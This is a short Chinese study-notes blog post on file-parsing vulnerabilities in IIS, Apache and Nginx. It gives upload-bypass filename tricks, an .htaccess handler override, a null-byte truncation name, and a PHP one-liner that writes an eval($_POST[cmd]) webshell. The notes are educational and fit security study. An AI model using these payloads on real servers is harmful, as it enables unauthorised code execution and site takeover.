学习笔记三十九:解析漏洞

解析漏洞:

在目前的三个主流服务器(IIS,Apache,Nginx)上。

如何探查目标是什么类型的Web服务器?

1.通过查看相应的http请求,会在头部暴露出Web服务器类型

2.安装浏览器插件

 

3.通过第三方网站

云悉互联网WEB资产在线梳理|在线CMS指纹识别平台 - 云悉安全平台 (yunsee.cn)

解析漏洞详情:

IIS:

IIS5.X~6.0

  • 目录解析漏洞

服务器默认会把.asp,.asa目录下的文件都解析成asp文件。前提是可以控制文件上传的路径或者是文件名。

xxx.asp/xxx.jpg     在xxx.asp目录文件夹下上传xxx.jpg图片文件

  • 文件名解析漏洞

服务器默认不会去解析分号后面的内容。前提是可以控制文件名。

xx.asp;.jpg

  • 畸形文件名解析漏洞

iis6.0下可执行文件还有asa,cer,cdx,注意,不一定能解析aspx,asax,因为aspx,asax是.net环境。

IIS7.0/7.5

  • 利用解析图片中的代码上传webshell

如果开启Fast-CGI模式,上传1.jpg,内容如下:

<?PHP fputs(fopen('dark5.php','w'),'<?php eval($_POST[cmd])?>');?>   (就是以可写的方式打开dark5.php文件并在其中写入后面的一句话,并以.jpg的格式上传)

访问1.jpg/.php,那么1.jpg就会被解析执行。

  • fck+iis7.5

a.aspx.a.aspx.jpg..jpg

Apache:

不可识别解析后缀

  • Apache的文件解析过程是从右到左开始判断解析,如果为不可识别的后缀解析,那就再往左判断。
  • 在Apache的解析中,除了“php|php3|phtml”等规定的后缀中,任何的后缀加入,都是不会被识别解析的,也会被跳过后缀处理。

dark5.php.k1.w2.a3  那么最终识别的文件就是dark5.php

.htaccess

  • htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向,自定义404错误页面,改变文件扩展名,允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能。
  • 该漏洞适合用于目标web服务器为apache,并且.htaccess可以被上传执行的情况。
  • 当.htaccess文件内容为SetHandler application/x-httpd-php时,即设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行。不符合则报错。
  • 在Apache中如果需要启动.htaccess,必须在http.conf文件中设置AllowOverride为ALL

 

 

<FilesMatch "1.jpg"> SetHandler application/x-httpd-php </FilesMatch>

Nginx:

CGI

跟IIS7.0/7.5那里的CGI利用方法一样。

空子节代码执行(00截断):

dark5.jpg%00.php

posted @ 2021-12-26 00:04  Ling_Chen  阅读(150)  评论(0)    收藏  举报